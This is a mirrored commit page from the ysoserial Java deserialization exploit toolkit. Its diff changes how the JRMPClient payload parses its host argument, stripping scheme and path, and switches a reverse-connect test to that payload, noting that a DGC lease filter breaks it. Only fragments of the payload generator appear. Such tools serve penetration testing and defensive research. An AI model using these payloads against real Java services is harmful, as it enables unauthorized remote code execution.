mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
try to fix jrmp client test
This commit is contained in:
@@ -2,6 +2,8 @@ package ysoserial.payloads;
|
|||||||
|
|
||||||
|
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
|
import java.net.URI;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
import java.rmi.registry.Registry;
|
import java.rmi.registry.Registry;
|
||||||
import java.rmi.server.ObjID;
|
import java.rmi.server.ObjID;
|
||||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||||
@@ -53,7 +55,9 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
@Authors({ Authors.MBECHLER })
|
@Authors({ Authors.MBECHLER })
|
||||||
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||||
|
|
||||||
public Registry getObject ( final String command ) throws Exception {
|
public Registry getObject ( String command ) throws Exception {
|
||||||
|
|
||||||
|
command = command.replaceAll("(^[a-z]+://)|(/[^:]+$)", "");
|
||||||
|
|
||||||
String host;
|
String host;
|
||||||
int port;
|
int port;
|
||||||
|
|||||||
@@ -60,6 +60,6 @@ public class JRMPReverseConnectTest implements CustomTest {
|
|||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
// ObjectInputFilters.disableDcgFilter();
|
// ObjectInputFilters.disableDcgFilter();
|
||||||
PayloadsTest.testPayload(Hibernate2.class);
|
PayloadsTest.testPayload(JRMPClient.class); // broken by sun.rmi.transport.DGCImpl_Stub.leaseFilter
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user